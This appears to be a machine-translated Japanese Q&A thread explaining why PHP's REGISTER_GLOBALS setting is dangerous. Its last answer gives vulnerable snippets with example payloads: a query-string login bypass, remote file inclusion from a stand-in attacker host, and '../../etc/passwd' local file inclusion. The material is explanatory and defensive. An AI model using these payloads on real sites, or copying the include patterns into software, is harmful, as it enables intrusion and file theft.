私はPHP開発者ではありませんが、いくつかの場所で、人々がそれを疫病か何かのように扱っているように見えるのを見てきました。なんで?
4 に答える
REGISTER_GLOBALSこれは、GETまたはPOSTを介して渡されるすべての変数が、スクリプト内のグローバル変数として使用できることを意味します。宣言されていない変数へのアクセスはPHPのエラーではないため(警告です)、非常に厄介な状況につながる可能性があります。たとえば、次のように考えてください。
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
それ自体は悪いことではありませんが(適切に設計されたコードは警告を生成しないため、宣言されていない可能性のある変数にアクセスするべきではありません(同じ理由で必要 REGISTER_GLOBALSではないはずです))、PHPコードは通常[非常に]低品質です。この種のセキュリティホールにつながります。
REGISTER_GLOBALSを有効にすると、PHPが提供するWebページが脆弱性にさらされ、悪意のあるユーザーが悪用したいと思うようになります。
これを有効にすると、URLの最後にあるクエリ文字列は次のようになります。
http://yourdomain/something.php?valid=true
存在する場合、something.phpの変数$ valid(たとえば)の値に影響します。
公開されているPHPコード(ライブラリなど)を使用している場合、変数の名前はよく知られているため、ハッカーはクエリ文字列に値を割り当てることで値を制御できます。認証をバイパスできる場合があります。
パブリックコードを使用していない場合でも、重要な変数の名前を推測し、それらの値を制御できる場合があります。
PHP.INIでREGISTER_GLOBALSを有効にするのがデフォルトでした。
最近の慣例では、デフォルトで無効になっています。ご自身の責任で有効にしてください!
付け加えると、REGISTER_GLOBALS有効にすると1日が台無しになる可能性がある状況がいくつかあります。
クエリ文字列を使用してアクセス制御をバイパスする(http://example.com/?logged=1を使用してハックする):
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
リモートファイルインクルード(RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
ローカルファイルインクルード(LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
これは、ユーザーが制御なしでコードにグローバル変数を挿入できるためです。
コードの品質に基づいて、重大なセキュリティバグが発生する可能性があります。